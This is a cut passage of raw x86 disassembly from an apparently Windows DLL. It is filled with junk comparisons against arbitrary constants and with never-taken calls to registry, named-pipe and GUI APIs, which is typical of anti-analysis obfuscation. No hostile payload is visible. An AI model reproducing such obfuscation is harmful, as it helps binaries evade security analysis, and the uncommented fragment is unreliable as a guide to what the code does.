cmp dword [ebp - 0x5a8], 0xfa4c8210
jbe 0x1001a662
mov dword [ebp - 0x744], 1
jmp 0x1001a669
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x118]
imul eax, dword [ebp - 0x744]
mov dword [ebp - 0x30], eax
jmp 0x1001a553
jmp 0x1001a3a0
mov dword [ebp - 0x30], 0
jmp 0x1001a693
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jg 0x1001a92c
mov byte [ebp - 0x108], 0
movzx eax, byte [ebp - 0x108]
test eax, eax
je 0x1001a6c5
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x7f4], 0
jne 0x1001a8f0
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x7f4], 0
jne 0x1001a7dd
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x5b0]
cmp ecx, dword [ebp + eax*4 - 0x7f4]
jle 0x1001a705
mov dword [ebp - 0x6b0], 1
jmp 0x1001a70c
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x5b0]
cmp dword [ebp - 0x6b0], eax
jle 0x1001a72f
mov eax, 0xffff
test eax, eax
je 0x1001a72f
mov dword [ebp - 0x5b8], 1
jmp 0x1001a736
and dword [ebp - 0x5b8], 0
cmp dword [ebp - 0x5b8], 0x2024
jl 0x1001a74e
mov dword [ebp - 0x74c], 1
jmp 0x1001a755
and dword [ebp - 0x74c], 0
cmp dword [ebp - 0x74c], 0xfffffff8
jbe 0x1001a76a
mov dword [ebp - 0x5c0], 1
jmp 0x1001a771
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2a0]
imul ecx, dword [ebp - 0x5c0]
cmp ecx, dword [ebp + eax*4 - 0x7f4]
jl 0x1001a796
mov dword [ebp - 0x3d8], 1
jmp 0x1001a79d
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x7f4]
cmp dword [ebp - 0x3d8], eax
jg 0x1001a7bb
mov dword [ebp - 0x3dc], 1
jmp 0x1001a7c2
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x7f4]
cmp dword [ebp - 0x3dc], eax
jl 0x1001a7dd
and dword [ebp - 0x934], 0
jmp 0x1001a7e7
mov dword [ebp - 0x934], 1
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x7f4]
mov dword [ebp - 0xacc], eax
cmp dword [ebp - 0x2d4], 0x9c90
jne 0x1001a80f
mov dword [ebp - 0x3e4], 1
jmp 0x1001a816
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3e4]
sub ecx, dword [ebp + eax*4 - 0x7f4]
mov dword [ebp - 0x2a0], ecx
cmp dword [ebp - 0x2a0], 0x266c
jg 0x1001a844
mov dword [ebp - 0x3ec], 1
jmp 0x1001a84b
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x3ec], eax
jg 0x1001a865
mov dword [ebp - 0x3f4], 1
jmp 0x1001a86c
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x3f4]
add eax, 0xa3a6
cmp eax, 0x74b7
jne 0x1001a88a
mov dword [ebp - 0x3fc], 1
jmp 0x1001a891
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0x3fc], 0xd50fa8fa
jae 0x1001a8a9
mov dword [ebp - 0x404], 1
jmp 0x1001a8b0
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x404], eax
jge 0x1001a8ca
mov dword [ebp - 0x40c], 1
jmp 0x1001a8d1
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x40c]
add eax, 0xa682
jne 0x1001a8f0
mov eax, 0x4a89
test eax, eax
jne 0x1001a8f0
and dword [ebp - 0x414], 0
jmp 0x1001a8fa
mov dword [ebp - 0x414], 1
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x414], eax
je 0x1001a914
mov dword [ebp - 0x41c], 1
jmp 0x1001a91b
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x118], eax
jmp 0x1001a68c
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0x140]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0x424], 0xffffffff
mov dword [ebp - 0x20], 0
push 2
lea ecx, [ebp - 0xa70]
call fcn.1001e8dc
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x454], 0
push 3
lea ecx, [ebp - 0xa1c]
call fcn.1001e8dc
mov byte [ebp - 4], 0x1d
push 1
lea ecx, [ebp - 0xa64]
call fcn.1001e8dc
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x2c], 0
jmp 0x1001a9a9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1001a9c2
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa70]
call fcn.1001e97a
and dword [eax], 0
jmp 0x1001a9a2
mov dword [ebp - 0x2c], 0
jmp 0x1001a9d2
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1001a9ee
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa1c]
call fcn.1001e97a
mov dword [eax], 0x6a3f1540
jmp 0x1001a9cb
mov dword [ebp - 0x2c], 0
jmp 0x1001a9fe
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x1001aa1a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa64]
call fcn.1001e97a
mov dword [eax], 0x60d743cc
jmp 0x1001a9f7
mov dword [ebp - 0x424], 0xb8c3
cmp dword [ebp - 0x424], 0xfb77
jle 0x1001aa3c
mov dword [ebp - 0x47c], 1
jmp 0x1001aa43
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jl 0x1001aa57
mov dword [ebp - 0x42c], 1
jmp 0x1001aa5e
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x42c]
sub eax, dword [ebp - 0x20]
cmp eax, 0x2e40c18a
jne 0x1001aa7a
mov dword [ebp - 0x434], 1
jmp 0x1001aa81
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x434], eax
jle 0x1001aa98
mov dword [ebp - 0x43c], 1
jmp 0x1001aa9f
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x444], eax
push 1
lea ecx, [ebp - 0xa70]
call fcn.1001e97a
mov ecx, dword [ebp - 0x444]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x444], eax
jge 0x1001aadd
mov dword [ebp - 0x44c], 1
jmp 0x1001aae4
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x44c]
mov dword [ebp - 0x454], eax
je 0x1001ab08
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x1001ab08
mov dword [ebp - 0x45c], 1
jmp 0x1001ab0f
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x45c], eax
jl 0x1001ab26
mov dword [ebp - 0x464], 1
jmp 0x1001ab2d
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x46c], eax
push 1
lea ecx, [ebp - 0xa1c]
call fcn.1001e97a
mov ecx, dword [ebp - 0x46c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x46c], eax
jne 0x1001ab69
mov dword [ebp - 0x474], 1
jmp 0x1001ab70
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x474], eax
jg 0x1001ab87
mov dword [ebp - 0x2dc], 1
jmp 0x1001ab8e
and dword [ebp - 0x2dc], 0
push 0
lea ecx, [ebp - 0xa64]
call fcn.1001e97a
mov ecx, dword [ebp - 0x2dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x2dc]
cmp dword [ebp - 0x47c], eax
jg 0x1001abc0
mov dword [ebp - 0x484], 1
jmp 0x1001abc7
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
add eax, 0x334adc6f
cmp eax, dword [ebp - 0x20]
jge 0x1001abe3
mov dword [ebp - 0x48c], 1
jmp 0x1001abea
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xa64]
call fcn.1001e95e
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xa1c]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa70]
call fcn.1001e95e
mov eax, 0xffff
mov word [ebp - 0x68], ax
mov dword [ebp - 0x2e4], 0x8b5131d8
mov dword [ebp - 0x7c], 0
jmp 0x1001ac43
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x1001ac59
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x84c], 1
jmp 0x1001ac3c
mov dword [ebp - 0x7c], 0
jmp 0x1001ac69
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x1001ac7f
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xb58], 0
jmp 0x1001ac62
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001ac99
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x84c], 0
jne 0x1001acb5
mov dword [ebp - 0x494], 1
jmp 0x1001acbc
and dword [ebp - 0x494], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x84c], 0xfc371865
jbe 0x1001acdb
mov dword [ebp - 0x49c], 1
jmp 0x1001ace2
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x49c]
jle 0x1001acfc
mov dword [ebp - 0x4a4], 1
jmp 0x1001ad03
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x84c]
cmp eax, dword [ebp - 0x2e4]
je 0x1001ad31
mov dword [ebp - 0x4ac], 1
jmp 0x1001ad38
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x4a4]
imul eax, dword [ebp - 0x4ac]
test eax, eax
jne 0x1001ad5b
mov eax, 0xea52
test eax, eax
jne 0x1001ad5b
and dword [ebp - 0x4b4], 0
jmp 0x1001ad65
mov dword [ebp - 0x4b4], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4b4]
mov dword [ebp + eax - 0xb58], ecx
or dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x2b8], 0
jmp 0x1001ad98
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 2
jge 0x1001adb4
mov eax, dword [ebp - 0x2b8]
mov dword [ebp + eax*4 - 0x9d8], 0
jmp 0x1001ad8b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9d8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x9d8], eax
mov byte [ebp - 0x10a], 0
movzx eax, byte [ebp - 0x10a]
test eax, eax
je 0x1001adeb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
cmp dword [ebp + 0x10], 0
jbe 0x1001b2ca
mov dword [ebp - 0x34], 0x8d4081c2
push 1
lea ecx, [ebp - 0x7c8]
call fcn.1001e8dc
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x8bc], 0xffffffff
mov dword [ebp - 0x280], 0x30b91300
mov dword [ebp - 0x4fc], 0xfffffffe
mov dword [ebp - 0x8c4], 0x821c760f
push 4
lea ecx, [ebp - 0xbd8]
call fcn.1001e8dc
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x28], 0
jmp 0x1001ae59
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x1001ae75
push dword [ebp - 0x28]
lea ecx, [ebp - 0x7c8]
call fcn.1001e97a
mov dword [eax], 0x35c22c92
jmp 0x1001ae52
mov dword [ebp - 0x28], 0
jmp 0x1001ae85
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1001ae9b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xbc8], 0xfffffff7
jmp 0x1001ae7e
mov dword [ebp - 0x28], 0
jmp 0x1001aeab
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1001aec4
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbd8]
call fcn.1001e97a
or dword [eax], 0xffffffff
jmp 0x1001aea4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xb9c], eax
cmp dword [ebp - 0x34], 0
jne 0x1001aee2
cmp dword [ebp - 0x34], 0
jne 0x1001aee2
and dword [ebp - 0x4bc], 0
jmp 0x1001aeec
mov dword [ebp - 0x4bc], 1
cmp dword [ebp - 0x4bc], 0x94b7
jge 0x1001af07
cmp dword [ebp - 0x34], 0
jne 0x1001af07
and dword [ebp - 0x2ec], 0
jmp 0x1001af11
mov dword [ebp - 0x2ec], 1
push 0
lea ecx, [ebp - 0x7c8]
call fcn.1001e97a
mov ecx, dword [ebp - 0x2ec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2ec]
sub eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
jge 0x1001af40
mov dword [ebp - 0x4c4], 1
jmp 0x1001af47
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x4c4], eax
jl 0x1001af5e
mov dword [ebp - 0x4cc], 1
jmp 0x1001af65
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x4cc], eax
jge 0x1001af82
cmp dword [ebp - 0x34], 0
je 0x1001af82
mov dword [ebp - 0x4d4], 1
jmp 0x1001af89
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d4]
neg eax
cmp dword [ebp - 0x34], eax
jge 0x1001afa2
mov dword [ebp - 0x4dc], 1
jmp 0x1001afa9
and dword [ebp - 0x4dc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp + eax - 0xbc8], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xad4], eax
push 0
lea ecx, [ebp - 0x7c8]
call fcn.1001e97a
push 0
lea ecx, [ebp - 0x7c8]
call fcn.1001e97a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbc8]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0x280]
jge 0x1001b019
push 0
lea ecx, [ebp - 0x7c8]
call fcn.1001e97a
cmp dword [eax], 0
jne 0x1001b019
and dword [ebp - 0x99c], 0
jmp 0x1001b023
mov dword [ebp - 0x99c], 1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc1c], eax
cmp dword [ebp - 0x280], 0
jg 0x1001b041
mov dword [ebp - 0x4e4], 1
jmp 0x1001b048
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x280]
add eax, dword [ebp - 0x4e4]
cmp eax, 0xae56
jge 0x1001b067
mov dword [ebp - 0x4ec], 1
jmp 0x1001b06e
and dword [ebp - 0x4ec], 0
cmp dword [ebp - 0x4ec], 0xffff
je 0x1001b086
mov dword [ebp - 0x4f4], 1
jmp 0x1001b08d
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x4fc]
jle 0x1001b0b0
mov dword [ebp - 0x504], 1
jmp 0x1001b0b7
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x8c4], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xbd8]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c8]
call fcn.1001e95e
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001b2c5
mov dword [ebp - 0xe4], 1
mov dword [ebp - 0x50c], 0xffffffff
mov dword [ebp - 0xab0], 1
mov dword [ebp - 0xaac], 1
mov dword [ebp - 0xaa8], 1
mov dword [ebp - 0xaa4], 1
mov dword [ebp - 0x944], 0x41ac
mov dword [ebp - 0x8cc], 0x3086335c
push 1
lea ecx, [ebp - 0xbe8]
call fcn.1001e8dc
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x2a8], 0
jmp 0x1001b170
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 1
jge 0x1001b192
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0xbe8]
call fcn.1001e97a
mov dword [eax], 5
jmp 0x1001b163
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xadc], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0xe4]
jl 0x1001b1c4
mov dword [ebp - 0x514], 1
jmp 0x1001b1cb
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x514], eax
jge 0x1001b1e5
mov dword [ebp - 0x51c], 1
jmp 0x1001b1ec
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x51c]
add eax, 0xc3a0
mov dword [ebp - 0x524], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x524]
mov dword [ebp + eax - 0xab0], ecx
mov eax, dword [ebp - 0x524]
sub eax, dword [ebp - 0x944]
cmp eax, 0x5ed9a924
jne 0x1001b22f
mov dword [ebp - 0x52c], 1
jmp 0x1001b236
and dword [ebp - 0x52c], 0
cmp dword [ebp - 0x52c], 0xefcdf11b
jae 0x1001b24e
mov dword [ebp - 0x534], 1
jmp 0x1001b255
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
sub eax, dword [ebp - 0xe4]
cmp eax, 0x6be856df
jg 0x1001b274
mov dword [ebp - 0x53c], 1
jmp 0x1001b27b
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x53c]
jl 0x1001b29b
mov dword [ebp - 0x544], 1
jmp 0x1001b2a2
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x8cc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbe8]
call fcn.1001e95e
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x68], ax
jmp 0x1001bc98
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x2f4], 0x16f93bd5
mov dword [ebp - 0xec], 1
mov dword [ebp - 0x120], 3
mov dword [ebp - 0x84], 0
jmp 0x1001b308
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x1001b324
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x7a8], 7
jmp 0x1001b2fb
mov dword [ebp - 0x84], 0
jmp 0x1001b33d
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x1001b359
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x9d0], 0xfffffff9
jmp 0x1001b330
mov dword [ebp - 0x18], 2
jmp 0x1001b369
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x1001b7bb
push 4
lea ecx, [ebp - 0x960]
call fcn.1001e8dc
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 0x288], 0
jmp 0x1001b3aa
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 4
jge 0x1001b3cc
push dword [ebp - 0x288]
lea ecx, [ebp - 0x960]
call fcn.1001e97a
mov dword [eax], 0x177c422d
jmp 0x1001b39d
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x7a8]
cmp eax, dword [ebp - 0x18]
jle 0x1001b3e7
mov dword [ebp - 0x54c], 1
jmp 0x1001b3ee
and dword [ebp - 0x54c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a8]
imul eax, dword [ebp - 0x54c]
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 4
jne 0x1001b41d
mov dword [ebp - 0x554], 1
jmp 0x1001b424
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x554], eax
jg 0x1001b43b
mov dword [ebp - 0x55c], 1
jmp 0x1001b442
and dword [ebp - 0x55c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x9d0]
imul ecx, dword [ebp - 0x55c]
cmp ecx, dword [ebp + eax - 0x9d0]
jge 0x1001b470
mov dword [ebp - 0x564], 1
jmp 0x1001b477
and dword [ebp - 0x564], 0
cmp dword [ebp - 0x564], 0xdb60
je 0x1001b48f
mov dword [ebp - 0x56c], 1
jmp 0x1001b496
and dword [ebp - 0x56c], 0
imul eax, dword [ebp - 0x56c], 0x213e
cmp dword [ebp - 0x18], eax
jg 0x1001b4b1
mov dword [ebp - 0x574], 1
jmp 0x1001b4b8
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x574], eax
jle 0x1001b4cf
mov dword [ebp - 0x57c], 1
jmp 0x1001b4d6
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
sub eax, 0x5f76
mov dword [ebp - 0x584], eax
push 2
lea ecx, [ebp - 0x960]
call fcn.1001e97a
mov ecx, dword [ebp - 0x584]
mov dword [eax], ecx
cmp dword [ebp - 0x584], 1
jb 0x1001b51d
mov dword [ebp - 0x58c], 1
jmp 0x1001b524
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x7a8]
cmp eax, dword [ebp - 0x58c]
jne 0x1001b542
mov dword [ebp - 0x984], 1
jmp 0x1001b549
and dword [ebp - 0x984], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a8]
mov dword [ebp - 0xbac], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xae4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9d0], 1
jne 0x1001b59f
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x1001b59a
push 0
push 0
push 0x1d6c
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
jmp 0x1001b7a7
push 3
lea ecx, [ebp - 0x950]
call fcn.1001e8dc
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x1d0], 0
jmp 0x1001b5c9
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jge 0x1001b5e8
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x950]
call fcn.1001e97a
and dword [eax], 0
jmp 0x1001b5bc
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x7a8]
push 2
lea ecx, [ebp - 0x960]
call fcn.1001e97a
cmp dword [eax], esi
jne 0x1001b60f
mov dword [ebp - 0x594], 1
jmp 0x1001b616
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x594]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jge 0x1001b642
push 2
lea ecx, [ebp - 0x950]
call fcn.1001e97a
cmp dword [eax], 0
je 0x1001b642
mov dword [ebp - 0x59c], 1
jmp 0x1001b649
and dword [ebp - 0x59c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9d0]
cmp dword [ebp - 0x59c], eax
jg 0x1001b66a
mov dword [ebp - 0x5ac], 1
jmp 0x1001b671
and dword [ebp - 0x5ac], 0
mov dword [ebp - 0x5a4], 0xcc0c7fd5
mov eax, dword [ebp - 0x5a4]
add eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x5ac]
jl 0x1001b69b
mov dword [ebp - 0x5b4], 1
jmp 0x1001b6a2
and dword [ebp - 0x5b4], 0
push 0
lea ecx, [ebp - 0x950]
call fcn.1001e97a
mov ecx, dword [ebp - 0x5b4]
cmp ecx, dword [eax]
jg 0x1001b6c5
mov dword [ebp - 0x5bc], 1
jmp 0x1001b6cc
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x7a8]
push 2
lea ecx, [ebp - 0x950]
call fcn.1001e97a
cmp dword [eax], esi
jge 0x1001b6f6
cmp dword [ebp - 0x18], 0
jne 0x1001b6f6
and dword [ebp - 0x5c4], 0
jmp 0x1001b700
mov dword [ebp - 0x5c4], 1
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x5c4], eax
jl 0x1001b71a
mov dword [ebp - 0x5cc], 1
jmp 0x1001b721
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x2f4]
cmp dword [ebp - 0x5cc], eax
jg 0x1001b73b
mov dword [ebp - 0x5d4], 1
jmp 0x1001b742
and dword [ebp - 0x5d4], 0
push 2
lea ecx, [ebp - 0x960]
call fcn.1001e97a
mov ecx, 0x6930509b
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x5d4]
je 0x1001b777
mov dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
jmp 0x1001b798
mov byte [ebp - 0x10c], 0
movzx eax, byte [ebp - 0x10c]
test eax, eax
je 0x1001b798
push 0
push 0
push 0x6aa
call dword [sym.imp.USER32.dll_SetPropA]
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x950]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x960]
call fcn.1001e95e
jmp 0x1001b362
mov dword [ebp - 0x120], 0
jmp 0x1001b7d4
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xfffffffb
jle 0x1001b814
mov dword [ebp - 0xec], 0
jmp 0x1001b7f6
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 3
jge 0x1001b812
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x7a8], 2
jmp 0x1001b7e9
jmp 0x1001b7c7
mov dword [ebp - 0x36c], 0
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 0
push 3
lea ecx, [ebp - 0xa88]
call fcn.1001e8dc
mov dword [ebp - 4], 0x24
mov dword [ebp - 0xc68], 0x65c829ed
mov dword [ebp - 0xaec], 0xfffffffa
mov dword [ebp - 0xbbc], 0x8e356ec7
mov dword [ebp - 0xaf4], 0xffffffff
mov dword [ebp - 0xc24], 0xbd6cd538
push 1
lea ecx, [ebp - 0xa34]
call fcn.1001e8dc
mov byte [ebp - 4], 0x25
mov dword [ebp - 0x14], 0
jmp 0x1001b8a3
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1001b8b9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xac0], 0x841b3c69
jmp 0x1001b89c
mov dword [ebp - 0x14], 0
jmp 0x1001b8c9
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001b8e5
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa88]
call fcn.1001e97a
mov dword [eax], 0x19d81479
jmp 0x1001b8c2
mov dword [ebp - 0x14], 0
jmp 0x1001b8f5
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1001b90b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd9c], 0xa6ff609
jmp 0x1001b8ee
mov dword [ebp - 0x14], 0
jmp 0x1001b91b
mov eax, dword [ebp - 0x14]
inc eax
